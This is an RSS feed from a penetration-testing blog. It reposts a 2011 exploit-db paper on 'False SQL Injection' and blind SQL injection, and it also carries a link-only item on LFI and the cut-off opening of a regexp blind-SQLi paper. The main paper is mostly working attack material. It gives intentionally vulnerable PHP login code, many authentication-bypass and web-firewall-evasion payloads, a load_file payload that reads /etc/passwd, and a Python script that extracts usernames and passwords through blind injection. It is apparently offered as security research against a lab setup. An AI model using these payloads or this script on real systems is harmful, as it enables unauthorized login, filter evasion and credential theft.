<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>0x50sec.org &#187; 渗透测试</title>
	<atom:link href="http://www.0x50sec.org/category/pentest/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.0x50sec.org</link>
	<description>Focus on web security!</description>
	<lastBuildDate>Fri, 13 Jan 2012 09:23:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1</generator>
		<item>
		<title>False SQL Injection and Advanced Blind SQL Injection</title>
		<link>http://www.0x50sec.org/false-sql-injection-and-advanced-blind-sql-injection/</link>
		<comments>http://www.0x50sec.org/false-sql-injection-and-advanced-blind-sql-injection/#comments</comments>
		<pubDate>Thu, 22 Dec 2011 12:51:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[渗透测试]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1220</guid>
		<description><![CDATA[http://www.exploit-db.com/papers/18263/ False SQL Injection and Advanced Blind SQL Injection ######################################################################### #                                    # # Exploit Title: False SQL injection and advanced blind SQL injection    # # Date: 21/12/2011                            # # Author: wh1ant                            # # Company: trinitysoft    [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>http://www.exploit-db.com/papers/18263/</p>
<p>False SQL Injection and Advanced Blind SQL Injection</p>
<p>#########################################################################<br />
#                                    #<br />
# Exploit Title: False SQL injection and advanced blind SQL injection    #<br />
# Date: 21/12/2011                            #<br />
# Author: wh1ant                            #<br />
# Company: trinitysoft                            #<br />
# Group: secuholic                            #<br />
#                                    #<br />
#       ###                                       ##           #<br />
#     ######                                    ######         #<br />
#    ##    ##                                  ###   ##        #<br />
#           ##                                ##               #<br />
#            ###                            ###                #<br />
#             ###                          ###                 #<br />
#              ###   #                #   ###                  #<br />
#                ############   ###########                    #<br />
#               ############################                   #<br />
#              ##############################                  #<br />
#              #############################                   #<br />
#             # ############################ #                 #<br />
#              # ####   ############   #### #                  #<br />
#               # #####  ##########  ##### #                   #<br />
#                # ###################### ##                   #<br />
#                ## #################### ##                    #<br />
#                 ## ################## ##                     #<br />
#                # ## ################ ## #                    #<br />
#                 # ## ############## ## #                     #<br />
#                 ## ## ############ ## ##                     #<br />
#              ## ## ########## ## ##                      #<br />
#                    # ## ######## ## #                        #<br />
#                       ## ###### ##                           #<br />
#                        ## #### ##                            #<br />
#                         ## ## ##                             #<br />
#                        ##      ##                            #<br />
#                        ##      ##                            #<br />
#                         ###  ###                   #<br />
#                                    #<br />
#########################################################################</p>
<p>This document is written for publicizing of new SQL injection method about detour some web firewall or some security solution. I did test on a web firewall made in Korean, most SQL injection attack was hit, I will not reveal the maker for cutting its damage.</p>
<p>In order to read this document, you have to understand basic MySQL principles. I classified the term &#8220;SQL Injection&#8221; as 2 meanings. The first is a general SQL Injection, we usually call this &#8220;True SQL Injection&#8221;, and the second is a &#8220;False SQL Injection&#8221;. Though in this documentation, you can know something special about &#8220;True SQL Injection&#8221;</p>
<p>And I mean to say it&#8217;s true that my method (False SQL Injection) is different from True/False SQL Injection mentioned in &#8220;Blind SQL Injection&#8221;. A tested environment was as follow.</p>
<p>ubuntu server    11.04<br />
mysql        5.1.54-1<br />
Apache        2.2.17<br />
PHP        5.3.5-1</p>
<p>A tested code was as follow.</p>
<p>&lt;?php</p>
<p>/*<br />
create database injection_db;<br />
use injection_db;<br />
create table users(num int not null, id varchar(30) not null, password varchar(30) not null, primary key(num));</p>
<p>insert into users values(1, &#8216;admin&#8217;, &#8216;ad1234&#8242;);<br />
insert into users values(2, &#8216;wh1ant&#8217;, &#8216;wh1234&#8242;);<br />
insert into users values(3, &#8216;secuholic&#8217;, &#8216;se1234&#8242;);</p>
<p>*** login.php ***<br />
*/</p>
<p>if(empty($_GET['id']) || empty($_GET['password'])){<br />
echo &#8220;&lt;html&gt;&#8221;;<br />
echo &#8220;&lt;body&gt;&#8221;;<br />
echo &#8220;&lt;form name=&#8217;text&#8217; action=&#8217;login.php&#8217; method=&#8217;get&#8217;&gt;&#8221;;<br />
echo &#8220;&lt;h4&gt;ID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;input type=&#8217;text&#8217; name=&#8217;id&#8217;&gt;&lt;br&gt;&#8221;;<br />
echo &#8220;PASS&lt;input type=&#8217;password&#8217; name=&#8217;password&#8217;&gt;&lt;br&gt;&lt;/h4&gt;&#8221;;<br />
echo &#8220;&lt;input type=&#8217;submit&#8217; value=&#8217;Login&#8217;&gt;&#8221;;<br />
echo &#8220;&lt;/form&gt;&#8221;;<br />
echo &#8220;&lt;/body&gt;&#8221;;<br />
echo &#8220;&lt;/html&gt;&#8221;;<br />
}</p>
<p>else{<br />
$id = $_GET['id'];<br />
$password = $_GET['password'];</p>
<p>$dbhost = &#8216;localhost&#8217;;<br />
$dbuser = &#8216;root&#8217;;<br />
$dbpass = &#8216;pass&#8217;;<br />
$database = &#8216;injection_db&#8217;;</p>
<p>$db = mysql_connect($dbhost, $dbuser, $dbpass);<br />
mysql_select_db($database,$db);<br />
$sql = mysql_query(&#8220;select * from users where id=&#8217;$id&#8217; and password=&#8217;$password&#8217;&#8221;) or die (mysql_error());</p>
<p>$row = mysql_fetch_array($sql);</p>
<p>if($row[id] &amp;&amp; $row[password]){<br />
echo &#8220;&lt;font color=#FF0000&gt;&lt;h1&gt;&#8221;.&#8221;Login sucess&#8221;.&#8221;&lt;/h1&gt;&lt;/u&gt;&lt;br&gt;&#8221;;<br />
echo &#8220;&lt;h3&gt;&lt;font color=#000000&gt;&#8221;.&#8221;Hello, &#8220;.&#8221;&lt;/u&gt;&#8221;;<br />
echo &#8220;&lt;font color=#D2691E&gt;&#8221;.$row[id].&#8221;&lt;/u&gt;&lt;/h3&gt;&lt;br&gt;&#8221;;<br />
}<br />
else{<br />
echo &#8220;&lt;script&gt;alert(&#8216;Login failed&#8217;);&lt;/script&gt;&#8221;;<br />
}<br />
mysql_close($db);<br />
}</p>
<p>?&gt;</p>
<p>First, basic SQL Injection is as follow.<br />
&#8216; or 1=1#</p>
<p>The code above is general SQL Injection Code, and this writer classified the code as &#8220;True SQL Injection&#8221;. When you log on to some site, in internal of web program, your id and password are identified by some statement used &#8220;select id, password from table where id=&#8221; and password=&#8221;, you can easily understand when you think 0 about character single quotation mark. Empty space is same as 0, the attack is possible using = and 0. As a result, following statement enables log on process.</p>
<p>&#8216;=0#</p>
<p>We can apply it in a different way.</p>
<p>This is possible as 0&gt;-1<br />
&#8216;&gt;-1#</p>
<p>Also, this is possible as 0&lt;1<br />
&#8216;&lt;1#</p>
<p>You don&#8217;t have to use only single figures. You can use two figures attack as follow.<br />
1&#8242;&lt;99#</p>
<p>Comparison operation 0=1 will be 0, the following operation result is true because of id=&#8221;=0(0=1).</p>
<p>&#8216;=0=1#</p>
<p>Additionally there is some possible comparison operation making the same value each other.</p>
<p>&#8216;&lt;=&gt;0#</p>
<p>Like this, if you use the comparison operation, you can attack as additional manner.</p>
<p>&#8216;=0=1=1=1=1=1#<br />
&#8216;=1&lt;&gt;1#<br />
&#8216;&lt;&gt;1#<br />
1&#8242;&lt;&gt;99999#<br />
&#8216;!=2!=3!=4#</p>
<p>In this time, you get the turn on understanding False SQL injection. the following is not attack but operation for MySQL.</p>
<p>mysql&gt; select * from users;<br />
+&#8212;&#8211;+&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;-+<br />
| num | id        | password |<br />
+&#8212;&#8211;+&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;-+<br />
|   1 | admin     | ad1234   |<br />
|   2 | wh1ant    | wh1234   |<br />
|   3 | secuholic | se1234   |<br />
+&#8212;&#8211;+&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;-+<br />
3 rows in set (0.01 sec)</p>
<p>This shows the contents in any table without any problem.<br />
The following is the content when you don&#8217;t input any value in the id</p>
<p>mysql&gt; select * from users where id=&#8221;;<br />
Empty set (0.00 sec)</p>
<p>Of course there is not result because id field dosen&#8217;t have any string.<br />
In the truth, I have seen the case that in the MySQL if string field has a 0, the result is true. Based on the truth, following statement is true.</p>
<p>mysql&gt; select * from users where id=0;<br />
+&#8212;&#8211;+&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;-+<br />
| num | id        | password |<br />
+&#8212;&#8211;+&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;-+<br />
|   1 | admin     | ad1234   |<br />
|   2 | wh1ant    | wh1234   |<br />
|   3 | secuholic | se1234   |<br />
+&#8212;&#8211;+&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;-+<br />
3 rows in set (0.00 sec)</p>
<p>If you input 0 in id, All the content is showed. This is the basic about &#8220;False SQL Injection&#8221;. After all, result of 0 makes log on process success. For making the result 0, you need something processing integer, in that time you can use bitwise  operations and arithmetic operations.</p>
<p>Once I&#8217;ll show bitwise operation example.</p>
<p>Or bitwise operation is well known for any programmer. And as I told you before, &#8221; is 0, if you operate &#8220;0 bitwise OR 0&#8243;, the result is 0. So the following operation succeed log on as the False SQL Injection.<br />
&#8216;|0#</p>
<p>Naturally, you can use AND operation.<br />
&#8216;&amp;0#</p>
<p>This is the attack using XOR<br />
&#8216;^0#</p>
<p>Also using shift operation is enable.<br />
&#8216;&lt;&lt;0#<br />
&#8216;&gt;&gt;0#</p>
<p>If you apply like those bitwise operations, you can use variable attack methods.<br />
&#8216;&amp;&#8221;#<br />
&#8216;%11&amp;1#<br />
&#8216;&amp;1&amp;1#<br />
&#8216;|0&amp;1#<br />
&#8216;&lt;&lt;0|0#<br />
&#8216;&lt;&lt;0&gt;&gt;0#</p>
<p>In this time, I will show &#8220;False SQL Injection&#8221; using arithmetic operations.<br />
If the result is 0 using arithmetic operation with &#8221;, attack will be success. The following is the example using arithmetic operation.</p>
<p>&#8216;*9#<br />
Multiplication</p>
<p>&#8216;/9#<br />
Division.</p>
<p>&#8216;%9#<br />
Mod</p>
<p>&#8216;+0#<br />
Addition</p>
<p>&#8216;-0#<br />
Subtraction</p>
<p>Significant point is that the result has to be under one. Also you can attack as follow.<br />
&#8216;+2+5-7#<br />
&#8216;+0+0-0#<br />
&#8216;-0-0-0-0-0#<br />
&#8216;*9*8*7*6*5#<br />
&#8216;/2/3/4#<br />
&#8216;%12%34%56%78#<br />
&#8216;/**/+/**/0#<br />
&#8216;&#8212;&#8211;0#<br />
&#8216;+++0+++++0*0#</p>
<p>Next attack is it using fucntion. In this document, I can&#8217;t show all the functions. Because this attack is not difficult, you can use the &#8220;True, False SQL Injection&#8221; attack with function as much as you want. And whether this attack is &#8220;True SQL Injection&#8221; or &#8220;False SQL Injection&#8221; is decided on the last operation after return of function.<br />
&#8216;&lt;hex(1)#<br />
&#8216;=left(0&#215;30,1)#<br />
&#8216;=right(0,1)#<br />
&#8216;!=curdate()#<br />
&#8216;-reverse(0)#<br />
&#8216;=ltrim(0)#<br />
&#8216;&lt;abs(1)#<br />
&#8216;*round(1,1)#<br />
&#8216;&amp;left(0,0)#<br />
&#8216;*round(0,1)*round(0,1)#</p>
<p>Also, you can use attack using space in function name. But you are able to use the space with only some function.<br />
&#8216;=upper     (0)#</p>
<p>In this time, SQL keyword is method. This method is also decided as True or False Injection according to case.<br />
&#8216; &lt;1 and 1#<br />
&#8216;xor 1#<br />
&#8216;div 1#<br />
&#8216;is not null#<br />
admin&#8217; order by&#8217;<br />
admin&#8217; group by&#8217;<br />
&#8216;like 0#<br />
&#8216;between 1 and 1#<br />
&#8216;regexp 1#</p>
<p>Inputting id or password in the field without annotaion is possible about True, False SQL Injection. Normal Web Firewalls filter #, &#8211;, /**/, so the method is more effective in the Web Firewalls.<br />
ID  : &#8216;=&#8217;<br />
PASS: &#8216;=&#8217;</p>
<p>ID  : &#8216;&lt;&gt;&#8217;1<br />
PASS: &#8216;&lt;&gt;&#8217;1</p>
<p>ID  : &#8216;&gt;1=&#8217;<br />
PASS: &#8216;&gt;1=&#8217;</p>
<p>ID  : 0&#8242;=&#8217;0<br />
PASS: 0&#8242;=&#8217;0</p>
<p>ID  : &#8216;&lt;1 and 1&gt;&#8217;<br />
PASS: &#8216;&lt;1 and 1&gt;&#8217;</p>
<p>ID  : &#8216;&lt;&gt;ifnull(1,2)=&#8217;1<br />
PASS: &#8216;&lt;&gt;ifnull(1,2)=&#8217;1</p>
<p>ID  : &#8216;=round(0,1)=&#8217;1<br />
PASS: &#8216;=round(0,1)=&#8217;1</p>
<p>ID  : &#8216;*0*&#8217;<br />
PASS: &#8216;*0*&#8217;</p>
<p>ID  : &#8216;+&#8217;<br />
PASS: &#8216;+&#8217;</p>
<p>ID  : &#8216;-&#8217;<br />
PASS: &#8216;-&#8217;</p>
<p>ID  :&#8217;+1-1-&#8217;<br />
PASS:&#8217;+1-1-&#8217;</p>
<p>All attacks used in the documentation will be more effective with using bracket when detouring web firewall.<br />
&#8216;+(0-0)#<br />
&#8216;=0&lt;&gt;((reverse(1))-(reverse(1)))#<br />
&#8216;&lt;(8*7)*(6*5)*(4*3)#<br />
&#8216;&amp;(1+1)-2#<br />
&#8216;&gt;(0-100)#</p>
<p>Let&#8217;s see normal SQL Injection attack.<br />
&#8216; or 1=1#</p>
<p>If this is translated in hexdemical, the result is as follow.</p>
<p>http://127.0.0.1/login.php?id=%27%20%6f%72%20%31%3d%31%23&#038;password=1234</p>
<p>Like attack above is basically filtered. So that&#8217;s not good attack, I will try detour filtering using tab(%09) standing in for space(%20). In truth, you can use %a0 on behalf of %09.</p>
<p>The possible values are as follow.<br />
%09<br />
%0a<br />
%0b<br />
%0c<br />
%0d<br />
%a0<br />
%23%0a<br />
%23%48%65%6c%6c%6f%20%77%6f%6c%72%64%0a</p>
<p>The following is the example using %a0 instead of %20.</p>
<p>http://127.0.0.1/login.php?id=%27%a0%6f%72%a0%31%3d%31%23&#038;password=1234</p>
<p>In this time, I will show &#8220;Blind SQL injection&#8221; attack, this attack can&#8217;t detour web firewall filtering, but some attacker tend to think that Blind SQL Injection attack is impossible to log on page. So I decided showing this subject.</p>
<p>The following attack code can be used on log on page. And the page will show id and password.<br />
&#8216;union select 1,group_concat(password),3 from users#</p>
<p>This attack code brings /etc/password information.<br />
&#8216;union select 1,load_file(0x2f6574632f706173737764),3 from users#</p>
<p>Dare I say it without union select statement using Blind SQL injection with and operation is possible.</p>
<p>The result of record are three.<br />
admin&#8217; and (select count(*) from users)=3#</p>
<p>Let&#8217;s attack detouring web firewall using Blind SQL Injection. The following is vulnerable code to Blind SQL Injection.</p>
<p>&lt;?php</p>
<p>/*** info.php ***/</p>
<p>$n = $_GET['num'];<br />
if(empty($n)){<br />
$n = 1;<br />
}</p>
<p>$dbhost = &#8216;localhost&#8217;;<br />
$dbuser = &#8216;root&#8217;;<br />
$dbpass = &#8216;root&#8217;;<br />
$database = &#8216;injection_db&#8217;;</p>
<p>$db = mysql_connect($host, $dbuser, $dbpass);<br />
mysql_select_db($database,$db);<br />
$sql = mysql_query(&#8220;select * from `users` where num=&#8221;.$n) or die (mysql_error());<br />
$info = @mysql_fetch_row($sql);<br />
echo &#8220;&lt;body bgcolor=#000000&gt;&#8221;;<br />
echo &#8220;&lt;h1&gt;&lt;font color=#FFFFFF&gt;wh1ant&lt;/font&gt;&#8221;;<br />
echo &#8220;&lt;font color=#2BF70E&gt; site for blind SQL injection test&lt;/h1&gt;&lt;br&gt;&#8221;;<br />
echo &#8220;&lt;h1&gt;&lt;font color=#2BF70E&gt;num: &lt;/font&gt;&lt;font color=#D2691E&gt;&#8221;.$info[0].&#8221;&lt;/font&gt;&lt;/h1&gt;&#8221;;<br />
echo &#8220;&lt;h1&gt;&lt;font color=#2BF70E&gt;user: &lt;/font&gt;&lt;font color=#D2691E&gt;&#8221;.$info[1].&#8221;&lt;/font&gt;&#8221;;<br />
echo &#8220;&lt;body&gt;&#8221;;<br />
mysql_close($db);</p>
<p>?&gt;</p>
<p>Basic Blind SQL Injection is as follow on like above.</p>
<p>http://127.0.0.1/info.php?num=1 and 1=0<br />
http://127.0.0.1/info.php?num=1 and 1=1</p>
<p>But using = operation is possible for Blind SQL Injection.</p>
<p>http://192.168.137.129/info.php?num=1=0</p>
<p>http://192.168.137.129/info.php?num=1=1</p>
<p>Also other operation is possible naturally.</p>
<p>http://127.0.0.1/info.php?num=1&lt;&gt;0</p>
<p>http://127.0.0.1/info.php?num=1&lt;&gt;1</p>
<p>http://127.0.0.1/info.php?num=1&lt;0</p>
<p>http://127.0.0.1/info.php?num=1&lt;1</p>
<p>http://127.0.0.1/info.php?num=1*0*0*1</p>
<p>http://127.0.0.1/info.php?num=1*0*0*0</p>
<p>http://127.0.0.1/info.php?num=1%1%1%0</p>
<p>http://127.0.0.1/info.php?num=1%1%1%1</p>
<p>http://127.0.0.1/info.php?num=1 div 0<br />
http://127.0.0.1/info.php?num=1 div 1</p>
<p>http://127.0.0.1/info.php?num=1 regexp 0<br />
http://127.0.0.1/info.php?num=1 regexp 1</p>
<p>http://127.0.0.1/info.php?num=1^0</p>
<p>http://127.0.0.1/info.php?num=1^1</p>
<p>Attack example:<br />
http://127.0.0.1/info.php?num=0^(locate(0&#215;61,(select id from users where num=1),1)=1)<br />
http://127.0.0.1/info.php?num=0^(select position(0&#215;61 in (select id from users where num=1))=1)<br />
http://127.0.0.1/info.php?num=0^(reverse(reverse((select id from users where num=1)))=0x61646d696e)<br />
http://127.0.0.1/info.php?num=0^(lcase((select id from users where num=1))=0x61646d696e)<br />
http://127.0.0.1/info.php?num=0^((select id from users where num=1)=0x61646d696e)<br />
http://127.0.0.1/info.php?num=0^(id regexp 0x61646d696e)</p>
<p>http://127.0.0.1/info.php?num=0^(id=0x61646d696e)</p>
<p>http://127.0.0.1/info.php?num=0^((select octet_length(id) from users where num=1)=5)<br />
http://127.0.0.1/info.php?num=0^((select character_length(id) from users where num=1)=5)</p>
<p>If I will show all attack, I have to take much time, So I stopped in this time. Blind SQL Injection is difficult manually, So using tool will be more effective. I will show a tool made python, this is an example using ^(XOR) bitwise operation. In order to make the most of detouring the web firewall, I replaced space with %0a.</p>
<p>#!/usr/bin/python</p>
<p>### blind.py ###</p>
<p>import urllib<br />
import sys<br />
import os</p>
<p>def put_data(true_url, true_result, field, index, length):<br />
for i in range(1, length+1):<br />
for j in range(32, 127):<br />
attack_url = true_url + &#8220;^(%%a0locate%%a0%%a0(0x%x,(%%a0select%%a0%s%%a0%%a0from%%a0%%a0users%%a0where%%a0num=%d),%d)=%d)&#8221; % (j,field,index,i,i)<br />
attack_open = urllib.urlopen(attack_url)<br />
attack_result = attack_open.read()<br />
attack_open.close()</p>
<p>if attack_result==true_result:<br />
ch = &#8220;%c&#8221; % j<br />
sys.stdout.write(ch)<br />
break<br />
print &#8220;\t\t&#8221;,</p>
<p>def get_length(false_url, false_result, field, index):<br />
i=0<br />
while 1:<br />
data_length_url = false_url + &#8220;^(%%a0(select%%a0octet_length%%a0%%a0(%s)%%a0from%%a0users%%a0where%%a0num%%a0=%%a0%d)%%a0=%%a0%d)&#8221; % (field,index,i)<br />
data_length_open = urllib.urlopen(data_length_url)<br />
data_length_result = data_length_open.read()<br />
data_length_open.close()<br />
if data_length_result==false_result:<br />
return i<br />
i+=1</p>
<p>url = &#8220;http://127.0.0.1/info.php&#8221;</p>
<p>true_url = url + &#8220;?num=1&#8243;<br />
true_open = urllib.urlopen(true_url)<br />
true_result = true_open.read()<br />
true_open.close()</p>
<p>false_url = url + &#8220;?num=0&#8243;<br />
false_open = urllib.urlopen(false_url)<br />
false_result = false_open.read()<br />
false_open.close()</p>
<p>print &#8220;num\t\tid\t\tpassword&#8221;<br />
fields = &#8220;num&#8221;, &#8220;id&#8221;, &#8220;password&#8221;</p>
<p>for i in range(1, 4):<br />
for j in range(0, 3):<br />
length = get_length(false_url, false_result, fields[j], i)<br />
length = put_data(false_url, true_result, fields[j], i, length)<br />
print &#8220;&#8221;</p>
<p>To its regret, the attack test is stopped for no time, if anyone not this writer studies some attack codes additionally, it will be easy for him to develop the attack.</p>
<p># Korean document: http://wh1ant.kr/archives/[Hangul]%20False%20SQL%20injection%20and%20Advanced%20blind%20SQL%20injection.txt</p>
<p>[EOF]</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/false-sql-injection-and-advanced-blind-sql-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LFI WITH PHPINFO() ASSISTANCE</title>
		<link>http://www.0x50sec.org/lfi-with-phpinfo-assistance/</link>
		<comments>http://www.0x50sec.org/lfi-with-phpinfo-assistance/#comments</comments>
		<pubDate>Wed, 14 Sep 2011 02:37:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[PHPINFO]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1185</guid>
		<description><![CDATA[LFI WITH PHPINFO() ASSISTANCE LFI WITH PHPINFO() ASSISTANCE.pdf]]></description>
			<content:encoded><![CDATA[<p>LFI WITH PHPINFO() ASSISTANCE<br />
<a href='http://www.0x50sec.org/wp-content/uploads/2011/09/17799.pdf'>LFI WITH PHPINFO() ASSISTANCE.pdf</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/lfi-with-phpinfo-assistance/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blind Sql Injection with Regular Expressions Attack</title>
		<link>http://www.0x50sec.org/blind-sql-injection-with-regular-expressions-attack/</link>
		<comments>http://www.0x50sec.org/blind-sql-injection-with-regular-expressions-attack/#comments</comments>
		<pubDate>Wed, 22 Jun 2011 03:33:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[Blind SQL Injection]]></category>
		<category><![CDATA[Regular Expressions]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1120</guid>
		<description><![CDATA[Powered by IHTeam Site: www.ihteam.net PHP example code This paper Authors: Simone &#8216;R00T_ATI&#8217; Quatrini Marco &#8216;white_sheep&#8217; Rondini &#160; Blind Sql Injection – Regular Expressions Attack Blind Sql Injection with Regular Expressions Attack Powered by IHTeam Site: www.ihteam.net PHP example code This paper Authors: Simone &#8216;R00T_ATI&#8217; Quatrini Marco &#8216;white_sheep&#8217; Rondini 1/9 Blind Sql Injection – Regular [...]]]></description>
			<content:encoded><![CDATA[<p>Powered by IHTeam<br />
Site: www.ihteam.net<br />
PHP example code<br />
This paper<br />
Authors:<br />
Simone &#8216;R00T_ATI&#8217; Quatrini<br />
Marco &#8216;white_sheep&#8217; Rondini</p>
<p>&nbsp;</p>
<p>Blind Sql Injection – Regular Expressions Attack<br />
Blind Sql Injection with Regular<br />
Expressions Attack<br />
Powered by IHTeam<br />
Site: www.ihteam.net<br />
PHP example code<br />
This paper<br />
Authors:<br />
Simone &#8216;R00T_ATI&#8217; Quatrini<br />
Marco &#8216;white_sheep&#8217; Rondini<br />
1/9<br />
Blind Sql Injection – Regular Expressions Attack<br />
Index<br />
Why blind sql injection?&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.3<br />
How blind sql injection can be used?&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;3<br />
Testing vulnerability (MySQL &#8211; MSSQL):&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.3<br />
Time attack (MySQL)&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;3<br />
Time attack (MSSQL)&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..4<br />
Regexp attack&#8217;s methodology&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.5<br />
Finding table name with Regexp attack (MySQL)&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;5<br />
Finding table name with Regexp attack (MSSQL)&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;6<br />
Exporting a value with Regexp attack (MySQL)&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..7<br />
Exporting a value with Regexp attack (MSSQL)&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..7<br />
Time considerations&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..8<br />
Bypassing filters&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.9<br />
Real life example&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;9<br />
Conclusions&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..9<br />
<span id="more-1120"></span>2/9<br />
Blind Sql Injection – Regular Expressions Attack<br />
Why blind sql injection?<br />
Blind SQL Injection is used when a web application is vulnerable to an SQL injection, but the<br />
results of the injection are not visible to the attacker.<br />
The page with the vulnerability may not be one that displays data but will display differently<br />
depending on the results of a logical statement injected into the legitimate SQL statement<br />
called for that page.<br />
This type of attack can become time-intensive because a new statement must be crafted for<br />
each bit recovered. [Wikipedia]<br />
How blind sql injection can be used?<br />
There are several uses for the Blind Sql Injection:<br />
• Testing the vulnerability;<br />
• Finding the table name;<br />
• Exporting a value;<br />
Every techniques are based on the &#8216;guess attack&#8217;, because we only have two different input:<br />
TRUE or FALSE. Let me explain better&#8230;<br />
Testing vulnerability (MySQL &#8211; MSSQL):<br />
